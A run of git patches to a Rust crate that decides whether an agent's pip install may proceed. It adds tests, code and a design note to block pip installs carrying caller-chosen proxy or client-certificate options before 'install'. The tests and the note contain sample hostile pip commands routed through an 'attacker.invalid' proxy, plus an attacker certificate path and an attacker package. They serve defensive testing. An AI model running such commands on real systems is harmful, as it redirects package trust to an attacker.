insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index ef932ba3..4a1bd703 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -86,12 +86,24 @@ fn genuine_extra_artifact_remains_visible_beside_separate_proxy_authority() { assert_eq!(decision.decision, DecisionKind::Block); assert_eq!( - decision.reason_codes, - vec![ - ReasonCode::AlternateTrustRoot, - ReasonCode::ArtifactNotApproved, - ], - "a consumed proxy value must be ignored for artifact cardinality while a real extra package remains visible" + decision.reason_codes.len(), + 2, + "a consumed proxy value must add no spurious reason while a real extra package remains visible: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate {proxy_option:?} must retain its causal proxy/trust-authority reason: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a genuine undeclared package must remain visible independently of the consumed proxy value: {:?}", + decision.reason_codes ); } } From ebbaeab99b93e1ba8a630a29b7bd6407ea23002a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 10:05:24 +0900 Subject: [PATCH 486/702] test(security): expose pip global proxy authority gap --- .../tests/pypi_proxy_authority_contract.rs | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index 4a1bd703..c0236767 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -23,6 +23,44 @@ fn approved_pip_install_without_proxy_override_remains_allowed() { } } +#[test] +fn pip_global_proxy_before_install_fails_closed_without_artifact_pollution() { + for executable in ["pip", "pip3"] { + for proxy_arguments in [ + vec![ + "--proxy".to_string(), + "http://attacker.invalid:8080".to_string(), + ], + vec![ + "--prox".to_string(), + "http://attacker.invalid:8080".to_string(), + ], + vec!["--proxy=http://attacker.invalid:8080".to_string()], + vec!["--prox=http://attacker.invalid:8080".to_string()], + ] { + let (policy, mut intent) = approved_pip_install(executable); + let install_arguments = intent.argv.split_off(1); + intent.argv.extend(proxy_arguments.clone()); + intent.argv.extend(install_arguments); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must reject parser-valid global proxy authority before install: {:?}", + proxy_arguments + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "global proxy authority must produce only its causal trust-authority evidence: {:?}", + decision.reason_codes + ); + } + } +} + #[test] fn pip_proxy_override_cannot_inherit_artifact_approval() { for executable in ["pip", "pip3"] { From 0e58a71968acd534355e4a1ad904ba04d32ad054 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 10:15:03 +0900 Subject: [PATCH 487/702] fix(security): classify pip global proxy admission --- crates/agent-artifact-admission/src/lib.rs | 4 + .../src/pypi_proxy_authority.rs | 76 ++++++++++++++++++- .../tests/pypi_proxy_authority_contract.rs | 71 +++++++++++++++++ 3 files changed, 149 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 1ad8455d..15a63c1f 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -47,6 +47,9 @@ pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { + let submitted_intent = intent; + let normalized_intent = pypi_proxy_authority::normalize_direct_pip_global_proxy_intent(intent); + let intent = normalized_intent.as_ref().unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { if !decision @@ -282,5 +285,6 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + decision.command_sha256 = sha256_hex(submitted_intent.argv.join("\u{1f}").as_bytes()); decision } diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index 77c24732..ed52ca59 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -6,6 +6,75 @@ pub(crate) fn is_direct_pip_proxy_value_selector(argument: &str) -> bool { matches!(argument, "--proxy" | "--prox") } +fn is_attached_direct_pip_proxy_selector(argument: &str) -> bool { + argument + .strip_prefix("--proxy=") + .or_else(|| argument.strip_prefix("--prox=")) + .is_some_and(|value| !value.is_empty()) +} + +/// Canonicalize only the reviewed pip global-proxy grammar for policy evaluation. +/// +/// pip accepts `--proxy` as a General Option before the `install` command. Wardnet +/// keeps the submitted argv unchanged for audit evidence, but evaluates this bounded +/// parser-valid spelling as the equivalent `install --proxy ...` form so the existing +/// install policy can classify proxy authority without treating its value as a package. +/// Any unreviewed pre-command token fails closed and is left untouched. +pub(crate) fn normalize_direct_pip_global_proxy_intent( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + if !matches!(executable, "pip" | "pip3") { + return None; + } + + let arguments = &intent.argv[1..]; + if arguments.first().is_some_and(|argument| argument == "install") { + return None; + } + + let mut index = 0; + let mut global_proxy_arguments = Vec::new(); + while index < arguments.len() { + let argument = arguments[index].as_str(); + if argument == "install" { + if global_proxy_arguments.is_empty() { + return None; + } + + let mut normalized = intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len()); + argv.push(executable.to_string()); + argv.push("install".to_string()); + argv.extend(global_proxy_arguments); + argv.extend(arguments[index + 1..].iter().cloned()); + normalized.argv = argv; + return Some(normalized); + } + + if is_direct_pip_proxy_value_selector(argument) { + let value = arguments.get(index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + global_proxy_arguments.push(arguments[index].clone()); + global_proxy_arguments.push(value.clone()); + index += 2; + continue; + } + + if is_attached_direct_pip_proxy_selector(argument) { + global_proxy_arguments.push(arguments[index].clone()); + index += 1; + continue; + } + + return None; + } + + None +} + /// Return whether a direct pip install delegates proxy routing to caller-selected argv. pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { @@ -15,6 +84,10 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - return false; } + if normalize_direct_pip_global_proxy_intent(intent).is_some() { + return true; + } + let arguments = &intent.argv[1..]; if !arguments .first() @@ -26,7 +99,6 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - arguments.iter().skip(1).any(|argument| { argument == "--no-proxy-env" || is_direct_pip_proxy_value_selector(argument) - || argument.starts_with("--proxy=") - || argument.starts_with("--prox=") + || is_attached_direct_pip_proxy_selector(argument) }) } diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index c0236767..a65acf8c 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; @@ -42,6 +43,7 @@ fn pip_global_proxy_before_install_fails_closed_without_artifact_pollution() { let install_arguments = intent.argv.split_off(1); intent.argv.extend(proxy_arguments.clone()); intent.argv.extend(install_arguments); + let submitted_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); let decision = admission_decision(&policy, &intent); @@ -57,10 +59,79 @@ fn pip_global_proxy_before_install_fails_closed_without_artifact_pollution() { "global proxy authority must produce only its causal trust-authority evidence: {:?}", decision.reason_codes ); + assert_eq!( + decision.command_sha256, submitted_command_sha256, + "policy normalization must not rewrite submitted-command evidence" + ); } } } +#[test] +fn pip_global_proxy_value_does_not_hide_a_genuine_extra_artifact() { + for executable in ["pip", "pip3"] { + for proxy_option in ["--proxy", "--prox"] { + let (policy, mut intent) = approved_pip_install(executable); + let install_arguments = intent.argv.split_off(1); + intent.argv.push(proxy_option.to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); + intent.argv.extend(install_arguments); + intent.argv.push("attacker-package==9.9.9".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes.len(), + 2, + "global proxy normalization must consume only the reviewed proxy value: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "global {proxy_option:?} must retain proxy/trust-authority evidence: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a real undeclared package must remain visible after global proxy normalization: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn unreviewed_pip_global_option_is_not_hidden_by_proxy_normalization() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + let install_arguments = intent.argv.split_off(1); + intent.argv.extend([ + "--timeout".to_string(), + "1".to_string(), + ]); + intent.argv.extend(install_arguments); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "unreviewed global option grammar must remain outside the supported command path: {:?}", + decision.reason_codes + ); + assert!( + decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + "an arbitrary global option value must not be silently consumed as proxy syntax: {:?}", + decision.reason_codes + ); + } +} + #[test] fn pip_proxy_override_cannot_inherit_artifact_approval() { for executable in ["pip", "pip3"] { From 5014a2e2ea9c29a16c37457d63a70abc36d6b224 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 10:22:51 +0900 Subject: [PATCH 488/702] style(security): format pip proxy admission repair --- .../src/pypi_proxy_authority.rs | 5 ++++- .../tests/pypi_proxy_authority_contract.rs | 15 +++++++++------ 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index ed52ca59..5e58ec98 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -29,7 +29,10 @@ pub(crate) fn normalize_direct_pip_global_proxy_intent( } let arguments = &intent.argv[1..]; - if arguments.first().is_some_and(|argument| argument == "install") { + if arguments + .first() + .is_some_and(|argument| argument == "install") + { return None; } diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index a65acf8c..1facb922 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -110,22 +110,25 @@ fn unreviewed_pip_global_option_is_not_hidden_by_proxy_normalization() { for executable in ["pip", "pip3"] { let (policy, mut intent) = approved_pip_install(executable); let install_arguments = intent.argv.split_off(1); - intent.argv.extend([ - "--timeout".to_string(), - "1".to_string(), - ]); + intent + .argv + .extend(["--timeout".to_string(), "1".to_string()]); intent.argv.extend(install_arguments); let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "unreviewed global option grammar must remain outside the supported command path: {:?}", decision.reason_codes ); assert!( - decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), "an arbitrary global option value must not be silently consumed as proxy syntax: {:?}", decision.reason_codes ); From 5a3e85e2a5550e0311c2fe555b0dc0f4a03ad95e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 10:33:06 +0900 Subject: [PATCH 489/702] docs(security): trace pip global proxy admission --- docs/doctoring/pypi-global-proxy-authority.md | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 docs/doctoring/pypi-global-proxy-authority.md diff --git a/docs/doctoring/pypi-global-proxy-authority.md b/docs/doctoring/pypi-global-proxy-authority.md new file mode 100644 index 00000000..e4114d1b --- /dev/null +++ b/docs/doctoring/pypi-global-proxy-authority.md @@ -0,0 +1,46 @@ +# PyPI global proxy authority — admission traceability + +Verified 2026-09-12. This note binds Wardnet's direct-pip proxy-admission rule to pip's documented command grammar and to Wardnet's existing fail-closed software-supply-chain policy. It does not make Wardnet a proxy, network, DNS, TLS, or egress-policy implementation. + +## Decision + +For direct `pip` and `pip3` installation intents, caller-selected proxy routing is outside the reviewed artifact authority and must fail closed as `alternate_trust_root`. This applies when pip's documented `--proxy ` General Option appears before the `install` subcommand as well as when the reviewed proxy selector appears after `install`. + +Wardnet recognizes only the bounded direct-pip spellings already covered by the admission contract: `--proxy`, the verified unambiguous `--prox` abbreviation, and their non-empty attached-value forms. For a separate-token selector, exactly one following token is consumed as the proxy value for admission parsing. Arbitrary pre-command options are not normalized or silently consumed. + +The normalization is policy-internal only. The submitted argv remains immutable evidence: the decision's `command_sha256` is calculated from the original command. A consumed proxy value is not counted as a package artifact, while an actual extra undeclared package remains independently classified as `artifact_not_approved`. + +Wardnet does not parse or approve the proxy destination, resolve it, open a connection, enforce redirects, select a route, establish TLS trust, or authorize outbound transport. EgressWeave remains the canonical executable outbound-transport authority; quarantine-sandbox-runtime remains the hostile execution/isolation owner. An Agent Artifact Admission `allow` or `block` decision therefore cannot replace either control. + +## Causal evidence + +Issue #347 identified the parser-valid hostile shape: + +```text +pip --proxy http://attacker.invalid:8080 install cwl-example==1.2.3 --require-hashes --no-deps --no-input +``` + +The test-only head `ebbaeab99b93e1ba8a630a29b7bd6407ea23002a` preserved production source and produced semantic hosted RED in CI run `34663758483`, rust job `103471407614`: predecessor policy returned `forbidden_command` plus `artifact_not_approved` rather than the causal proxy/trust-authority classification. + +The minimum source repair started at `0e58a71968acd534355e4a1ad904ba04d32ad054` and is exercised by `crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs`. The contract covers `pip` and `pip3`, separate and attached proxy values, original-command digest preservation, a genuine extra package beside the proxy option, and an unreviewed global option that must remain fail closed instead of acquiring invented proxy semantics. + +## Standards and primary-source mapping + +| Control | Source | Application in Wardnet | +| --- | --- | --- | +| Treat installer routing/configuration as security-relevant input rather than implicit authority | NIST SP 800-218 v1.1, PW.4 and PW.7 secure design/verification practices | Unreviewed installer capability changes fail closed before execution. | +| Preserve auditable evidence of the submitted action | NIST SP 800-218 v1.1 secure-development evidence practices | Internal canonicalization does not rewrite `command_sha256`; the original argv remains the evidence identity. | +| Deny unintended trust-boundary expansion | OWASP ASVS 5.0.0 verification principles for secure communications and configuration | Caller-selected proxy authority is classified separately from artifact identity and cannot inherit package approval. | +| Interpret the command according to the tool's documented surface | pip General Options and pip user guide | `--proxy` is a pip command-line proxy selector and may be supplied as a general option; Wardnet tests the verified pre-`install` placement rather than assuming `install` is always argv[1]. | + +NIST guidance is used as secure-development justification, not as a claim that Wardnet is NIST-certified. OWASP ASVS is used as verification guidance, not as a conformance claim. pip documentation is the authoritative command-surface source; Wardnet deliberately implements only the reviewed subset needed for fail-closed admission and does not reproduce pip's full parser. + +## References + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +OWASP Foundation. (2025). *OWASP Application Security Verification Standard 5.0.0*. https://owasp.org/www-project-application-security-verification-standard/ + +pip developers. (2026). *pip: General options*. https://pip.pypa.io/en/stable/cli/pip/ + +pip developers. (2026). *pip user guide: Using a proxy server*. https://pip.pypa.io/en/stable/user_guide/ From d603485d6b5a843a545ea54084db3a2c892c52c9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:31:51 +0900 Subject: [PATCH 490/702] test(admission): prove global pip client-cert gap --- ...i_client_certificate_authority_contract.rs | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index 580faa41..f443c5a3 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -83,6 +83,71 @@ fn pip_separate_client_certificate_value_is_explicitly_classified_as_trust_autho } } +#[test] +fn pip_global_client_certificate_authority_before_install_is_explicitly_classified() { + for executable in ["pip", "pip3"] { + for option in ["--client-cert=/tmp/attacker-client.pem", "--cl=/tmp/attacker-client.pem"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} global {option} syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global {option} must be classified as caller-selected TLS credential authority: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_global_separate_client_certificate_value_is_explicitly_classified() { + for executable in ["pip", "pip3"] { + for option in ["--client-cert", "--cl"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + "/tmp/attacker-client.pem".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} global separate {option} syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global separate {option} must be classified explicitly rather than relying on command or operand rejection: {:?}", + decision.reason_codes + ); + } + } +} + fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 2ffe1851e28cb5c87a7ab8966c62bc76f222ece6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:33:07 +0900 Subject: [PATCH 491/702] style(admission): rustfmt global client-cert RED --- .../tests/pypi_client_certificate_authority_contract.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index f443c5a3..3e3f9353 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -86,7 +86,10 @@ fn pip_separate_client_certificate_value_is_explicitly_classified_as_trust_autho #[test] fn pip_global_client_certificate_authority_before_install_is_explicitly_classified() { for executable in ["pip", "pip3"] { - for option in ["--client-cert=/tmp/attacker-client.pem", "--cl=/tmp/attacker-client.pem"] { + for option in [ + "--client-cert=/tmp/attacker-client.pem", + "--cl=/tmp/attacker-client.pem", + ] { let (policy, mut intent) = approved_pip_install(executable); intent.argv = vec![ executable.to_string(), From 00576bcea8594c218cedebf0c6b9d9d038a28c99 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:34:23 +0900 Subject: [PATCH 492/702] fix(admission): classify global pip client cert authority --- .../src/pypi_client_certificate_authority.rs | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs index 6a96c7d9..feff7419 100644 --- a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs @@ -5,21 +5,30 @@ const SHORTEST_UNAMBIGUOUS_PREFIX: &str = "--cl"; /// Return whether a direct pip install selects caller-controlled TLS client /// credentials through pip's optparse-compatible long-option grammar. +/// +/// pip parses General Options both before command selection and again on the +/// selected command's argv. Wardnet therefore classifies the reviewed +/// `--client-cert` language on either side of the `install` token instead of +/// treating pre-command placement as unrelated command syntax. pub(crate) fn requests_unapproved_pypi_client_certificate_authority( intent: &InstallIntent, ) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + let arguments = &intent.argv[1..]; + let Some(install_index) = arguments.iter().position(|argument| argument == "install") else { + return false; + }; - matches!(executable, "pip" | "pip3") - && arguments - .first() - .is_some_and(|argument| argument == "install") - && arguments - .iter() - .any(|argument| matches_pip_client_certificate_option(argument)) + arguments[..install_index] + .iter() + .chain(arguments[install_index + 1..].iter()) + .any(|argument| matches_pip_client_certificate_option(argument)) } /// Match only the pinned pip parser language for `--client-cert`: the exact From 4b0e96ecb2bef857994f96089aeb3e16a1542953 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:35:49 +0900 Subject: [PATCH 493/702] refactor(admission): centralize reviewed pip global options --- .../src/pypi_global_option_authority.rs | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_global_option_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs new file mode 100644 index 00000000..0272c7d9 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -0,0 +1,98 @@ +use crate::InstallIntent; +use crate::pypi_client_certificate_authority::matches_pip_client_certificate_option; +use crate::pypi_proxy_authority::{ + is_attached_direct_pip_proxy_selector, is_direct_pip_proxy_value_selector, +}; + +/// Canonicalize only reviewed direct-pip General Options for policy evaluation. +/// +/// pip parses General Options before command selection. Wardnet preserves the +/// submitted argv as audit evidence, while this bounded parser seam moves only +/// already-reviewed denied authority selectors behind `install` so the normal +/// command and artifact policy can evaluate their values without inventing +/// package operands. Unknown pre-command grammar remains untouched and fails +/// closed through the ordinary command path. +pub(crate) fn normalize_reviewed_direct_pip_global_options( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + if !matches!(executable, "pip" | "pip3") { + return None; + } + + let arguments = &intent.argv[1..]; + if arguments + .first() + .is_some_and(|argument| argument == "install") + { + return None; + } + + let mut index = 0; + let mut reviewed_global_arguments = Vec::new(); + while index < arguments.len() { + let argument = arguments[index].as_str(); + if argument == "install" { + if reviewed_global_arguments.is_empty() { + return None; + } + + let mut normalized = intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len()); + argv.push(executable.to_string()); + argv.push("install".to_string()); + argv.extend(reviewed_global_arguments); + argv.extend(arguments[index + 1..].iter().cloned()); + normalized.argv = argv; + return Some(normalized); + } + + if is_direct_pip_proxy_value_selector(argument) { + push_separate_value_argument(arguments, &mut reviewed_global_arguments, &mut index)?; + continue; + } + + if is_attached_direct_pip_proxy_selector(argument) { + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + continue; + } + + if matches_pip_client_certificate_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + push_separate_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + return None; + } + + None +} + +fn push_separate_value_argument( + arguments: &[String], + reviewed_global_arguments: &mut Vec, + index: &mut usize, +) -> Option<()> { + let value = arguments.get(*index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + + reviewed_global_arguments.push(arguments[*index].clone()); + reviewed_global_arguments.push(value.clone()); + *index += 2; + Some(()) +} From 209ec944ecb6e58ec22805661781aa1c9c223bb1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:36:00 +0900 Subject: [PATCH 494/702] refactor(admission): isolate pip proxy authority matcher --- .../src/pypi_proxy_authority.rs | 71 +------------------ 1 file changed, 1 insertion(+), 70 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index 5e58ec98..c270818e 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -6,78 +6,13 @@ pub(crate) fn is_direct_pip_proxy_value_selector(argument: &str) -> bool { matches!(argument, "--proxy" | "--prox") } -fn is_attached_direct_pip_proxy_selector(argument: &str) -> bool { +pub(crate) fn is_attached_direct_pip_proxy_selector(argument: &str) -> bool { argument .strip_prefix("--proxy=") .or_else(|| argument.strip_prefix("--prox=")) .is_some_and(|value| !value.is_empty()) } -/// Canonicalize only the reviewed pip global-proxy grammar for policy evaluation. -/// -/// pip accepts `--proxy` as a General Option before the `install` command. Wardnet -/// keeps the submitted argv unchanged for audit evidence, but evaluates this bounded -/// parser-valid spelling as the equivalent `install --proxy ...` form so the existing -/// install policy can classify proxy authority without treating its value as a package. -/// Any unreviewed pre-command token fails closed and is left untouched. -pub(crate) fn normalize_direct_pip_global_proxy_intent( - intent: &InstallIntent, -) -> Option { - let executable = intent.argv.first()?.as_str(); - if !matches!(executable, "pip" | "pip3") { - return None; - } - - let arguments = &intent.argv[1..]; - if arguments - .first() - .is_some_and(|argument| argument == "install") - { - return None; - } - - let mut index = 0; - let mut global_proxy_arguments = Vec::new(); - while index < arguments.len() { - let argument = arguments[index].as_str(); - if argument == "install" { - if global_proxy_arguments.is_empty() { - return None; - } - - let mut normalized = intent.clone(); - let mut argv = Vec::with_capacity(intent.argv.len()); - argv.push(executable.to_string()); - argv.push("install".to_string()); - argv.extend(global_proxy_arguments); - argv.extend(arguments[index + 1..].iter().cloned()); - normalized.argv = argv; - return Some(normalized); - } - - if is_direct_pip_proxy_value_selector(argument) { - let value = arguments.get(index + 1)?; - if value == "install" || value.starts_with('-') || value.is_empty() { - return None; - } - global_proxy_arguments.push(arguments[index].clone()); - global_proxy_arguments.push(value.clone()); - index += 2; - continue; - } - - if is_attached_direct_pip_proxy_selector(argument) { - global_proxy_arguments.push(arguments[index].clone()); - index += 1; - continue; - } - - return None; - } - - None -} - /// Return whether a direct pip install delegates proxy routing to caller-selected argv. pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { @@ -87,10 +22,6 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - return false; } - if normalize_direct_pip_global_proxy_intent(intent).is_some() { - return true; - } - let arguments = &intent.argv[1..]; if !arguments .first() From f22329d6582a8bec81040f5810dd0d7707d1a291 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:36:16 +0900 Subject: [PATCH 495/702] refactor(admission): share client-cert selector grammar --- .../src/pypi_client_certificate_authority.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs index feff7419..c5fdb43b 100644 --- a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs @@ -33,7 +33,7 @@ pub(crate) fn requests_unapproved_pypi_client_certificate_authority( /// Match only the pinned pip parser language for `--client-cert`: the exact /// option and its verified unambiguous prefixes beginning at `--cl`. -fn matches_pip_client_certificate_option(argument: &str) -> bool { +pub(crate) fn matches_pip_client_certificate_option(argument: &str) -> bool { let option = argument .split_once('=') .map_or(argument, |(option, _)| option); From 11791e990895b060437d1eecbfae6bb533822e75 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 11:36:59 +0900 Subject: [PATCH 496/702] refactor(admission): normalize reviewed pip global authority --- crates/agent-artifact-admission/src/lib.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 15a63c1f..6ccd0d21 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -16,6 +16,7 @@ mod pypi_certificate_store_authority; mod pypi_client_certificate_authority; mod pypi_constraint_authority; mod pypi_dependency_group_authority; +mod pypi_global_option_authority; mod pypi_hash_mode; mod pypi_install_mutation_authority; mod pypi_install_report_authority; @@ -48,7 +49,8 @@ pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { let submitted_intent = intent; - let normalized_intent = pypi_proxy_authority::normalize_direct_pip_global_proxy_intent(intent); + let normalized_intent = + pypi_global_option_authority::normalize_reviewed_direct_pip_global_options(intent); let intent = 